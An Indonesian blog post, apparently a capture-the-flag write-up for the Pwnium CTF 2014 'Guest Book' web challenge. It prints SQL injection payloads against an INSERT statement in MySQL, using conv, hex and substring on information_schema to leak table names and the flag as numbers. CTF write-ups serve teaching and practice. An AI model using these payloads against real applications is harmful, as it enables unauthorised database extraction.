Saturday, July 12, 2014

Pwnium CTF2014: Web200 Guest Book

Dalam soal web kali ini, kita diminta mencari flag di sebuah aplikasi guest book. Yang bisa kita lakukan hanya mengisi judul dan teks isi guest book. Tidak ada permintaan lain yang bisa dilakukan. Setelah mencoba-coba, ternyata bisa dilakukan SQL Injection, tapi hanya pada “insert”. Kira-kira SQL yang dibuat adalah seperti ini

"insert into guestbook(title, text) values('"+ $POST["title"] + "', '" + $POST["text"] + "')"

Dengan memasukkan title: ‘ + abs(2) + ‘, kita mendapatkan title: 2


Percobaan menggunakan version() menunjukkan DBMS yang dipakai adalah MySQL. Trik menggunakan comment (—-, #) dan “on duplicate update” tidak berhasil dilakukan, jadi akhirnya dipakai cara manual: konversi dari string ke numerik. Perhatikan bahwa di mysql, statement:


select 'ab' + 'cd';

akan menghasilkan 0 (string akan dikonversi implisit menjadi bilangan, lalu dijumlahkan). Trik yang saya pakai adalah mengubah teks menjadi bilangan yang bisa dikembalikan lagi menjadi teks. Fungsi yang salah pilih adalah substring, hex, dan conv, seperti ini:


' + (select conv(hex(substring(table_name,1,5)),16,10) from information_schema.tables where table_type='base table' limit 1 offset 1) + '

Didapatkan: 1718378855


Itu digunakan untuk mendapatkan 5 huruf pertama nama tabel (untungnya namnaya singkat: “flag”). Saya memilih 5 karakter, karena lewat dari itu, bilangan yang dihasilkan adalah floating point (kehilangan presisi). Untuk mengembalikan bilangan menjadi teks digunakan:


select unhex(conv(1718378855, 10, 16)) 

Berikutnya saya mencari nama kolom, kemudian melakukan select terhadap kolom tersebut (select flag from flag). Pertama saya sempat bingung, karena hasilnya kosong, ternyata flagnya ada di row kedua. Setelah menambahkan “offset”, didapatkan flagnya adalah:


Pwnium{a6f33b4062b8bdcf3fe12e024568f67b}


Catatan: mungkin ada yang salah yang salah lakukan, karena di write up orang lain, mereka bisa memakai –. Tapi write up ini menunjukkan ada lebih dari satu jalan untuk menyelesaikan masalah.

No comments:

Post a Comment